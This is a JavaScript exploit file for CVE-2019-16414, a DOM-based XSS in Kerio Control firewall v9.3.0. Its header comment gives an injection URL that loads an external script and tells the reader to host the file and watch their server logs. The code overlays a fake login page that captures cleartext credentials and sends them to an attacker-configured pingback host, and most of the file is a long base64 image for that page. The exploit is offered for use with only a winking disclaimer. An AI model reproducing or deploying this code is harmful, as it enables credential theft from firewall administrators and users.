/* - DOM based XSS in Kerio Control Firewalls v9.3.0 - CVE-2019-16414 - Finder: Michael Eissele - Description: character encoding (i.e. quote, \x22) allows to bypass input filter, opening up for DOM based XSS. - PoC Link to include exploit: https://<--IP/domain of affected device-->/login/?NTLM=0\x22\x3e\x3c/script\x3e\x3cscript\x20src=\x22//<--URL to exploit.js -->/this.js\x22\x3e\x3c/script\x3e - Exploit: PoC for stealing credentials in cleartext. Script manipulates Login page to capture credentials in cleartext and sending them to the attacker. Victim gets displayed regular errormessage for invalid login. - Make this file a .js and host it on a random server of your choice - Do "tail -fn 0 /var/log/apache2/access_www.your-server.com | grep "kerio_exploit" on YOUR machine (you will receive get request containing credentials there) - only for educational purposes ;) */ // CHANGE THIS: var pingbackURL='<-- attackers ip/domain for receiving credentials pingback -->'; // example: https://attackers-server.com or https://192.158.0.123 // ... exploit code starting here: var x=document.getElementsByTagName('html')[0];x.appendChild(document.createElement('body'));var q=document.getElementsByTagName('body')[0];y=document.createElement('div');y.id='ximporter';y.style='position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:99999999999;float:left;background-image:url(" data:image/png;base64,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